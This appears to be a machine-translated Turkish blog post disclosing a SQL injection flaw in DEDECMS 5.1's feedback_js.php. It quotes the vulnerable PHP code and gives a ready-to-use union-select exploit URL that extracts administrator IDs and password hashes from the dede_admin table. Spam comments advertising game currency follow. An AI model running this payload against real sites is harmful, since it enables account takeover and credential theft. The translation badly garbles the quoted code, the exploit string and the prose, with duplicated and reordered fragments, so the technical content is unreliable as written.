DEDECMS 5.1 feedback_js.php 0day-0day, DEDECMS, DEDECMS 5.1, feedback

DEDECMS 5.1 feedback_js.php 0day

Bu yazı 11 Ekim 2009 tarihinde yayınlanmıştır

Yazar: st0p Rainy'Fox
Lütfen yayınlanmıştır kaynağını gösterir: http://www.st0p.org http://bbs.erpangzi.com/

Bu güvenlik açığı bulundu ve Rainy'Fox durumunda da magic_quotes_gpc = off temin edilebilir

Güvenlik Açığı Versiyon: Makaleler Condo 5.1
Bu arka planda yönetici hesabı almak ve HASH şifrelemek için istismar edilebilir, boşluklar dosyası artı / feedback_js.php, $ arcurl ve filtresiz parametreler var

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) if (empty ($ arcID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; Satır $ = $ dlist -> dsql -> GetOne ("` Select id # @ __ cache_feedbackurl `nerede url = '$ arcurl'");
        / / Burada $ arcurl hiçbir filtre
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; if (is_array ($ row)) $ urlindex = $ row ['id'];
       / / Sonuçların $ satır için bir sorgu için $ urlindex atama koymak ['id'] sunun, biz aşağıdaki işletim SQL deyimleri oluşturmak için
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; if (($ urlindex) empty ($ arcID) && boş) exit ();
 / / $ ArcID boşsa veya $ urlindex boş çıkış
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; if (empty ($ arcID)) $ wq = "urlindex = '$ urlindex'";
 / / $ ArcID sadece uygulama sonuçlarını yapılan aşağıdaki işlemleri konusunda $ wq atanacak yukarıda boş.
 = " aid=' $arcID ' " ; else $ wq = "yardım = '$ arcID'";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ Sorgu dizesi = "#` select * @ __ geribildirim `burada $ wq ve ischeck dtime desc = '1 'düzen";
 Init ( ) ; $ Dlist -) (> Init;
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ querystring);
 ......

Kullanımı bak, hey, iki sendika kullanmak kapalı

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'birlik "' seçin ve 1 = 2 sendika 1,1,1, kimliği, 3,1,3,3, pwd, 1,1,3 seçin , dede_feedback 1 = 1 union select * 1 = 2 ve'' = '"dede_admin gelen'' =' dede_admin gelen 1,1,1,1,1

Heyhat, o aslında dediğinde hedef testi bulmak için bu adam bile ve Rainy'Fox olabilir bu fikir çok YD .... yoluyla .. çok korkunç, gerçekten bunu başarmak için yanar magic_quotes_gpc = at sektörü ağ, birçok programları, kapalı PHP magic_quotes_gpc varsayılan olarak kaos vardır olmalıdır, kendi kaçış bölümü arayacak ... Gerçekten PHP programının kabus olduğunu, elde edebilirsiniz ...

· Dövüş sanatları Hileleri öğrenin

"DEDECMS 5.1 feedback_js.php 0day" için 346 Responses

By хостинг üzerinde 19 Kasım 2009 | Cevapla
zelo intiresno, hvala
Tarafından AKfour yedi on 1 Aralık 2009 | Cevapla
Daha önce görev olan saygımız bugün burada durmak [url = http://www.bawwgt.com] dofus Kamas [/ url], sen koydun güven için minnettarız, bizim [url tarafından karşılanacaktır kurban dikkatli = http:/ / www.bawwgt.com] ucuz dofus Kamas [/ url]. Başkan teşekkür [url = http://www.bawwgt.com] dofus power leveling [/ url] [url yaptığı hizmet için = http://www . bawwgt.com] dofus Kamas [/ url] yanı sıra, onun bu geçiş boyunca gösterdiği cömertlik ve işbirliği satın.
Tarafından wsewtoexg üzerine 3 Aralık 2009 | Cevapla
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ link], http://njofsuttytxm.com/
By tedy üzerine 5 Aralık 2009 | Cevapla
Biz [url = http://www.bawwgt.com/fr] dofus Kamas [/ url]. [Url = On http://www.bawwgt.com bilmeden önce Dofus 2.0! 2 Aralık önce sadece 34 gün burada olacak / fr] dofus Kamas moins ¤ retmenler [/ url] her oyuncunun tamamen yeni bir deneyim Dofus keşfedeceksiniz. [url = http://www.bawwgt.com/fr] acheter des dofus Kamas [/ url] ile yetinmek zorunda raporları ve forumlar. Öyle bile olsa [url = http://www.bawwgt.com/fr] achat dofus Kamas [/ url], orada ¡ ¯ hep forumlarda sevgili oyuncular birkaç nedir.
By strattera satın üzerinde 13 Aralık 2009 | Cevapla
Bu serin bir haber. teşekkür ederiz.
Tarafından Seengart üzerinde 14 Aralık 2009 | Cevapla
ha ... bilgilendirici tarzı ..
By Natasha-web üzerinde 16 Aralık 2009 | Cevapla
Vdaka za zaujimavy blogu
Üzerine ConradSimone tarafından Mar 8, 2012 | Reply
Peki bu bir biraz daha okumak çok ilginç indeed.Would sevgidir. Makalelerinizi size sunuyoruz değerli bilgiler hayran kalacaksınız.
Simone tarafından Conrad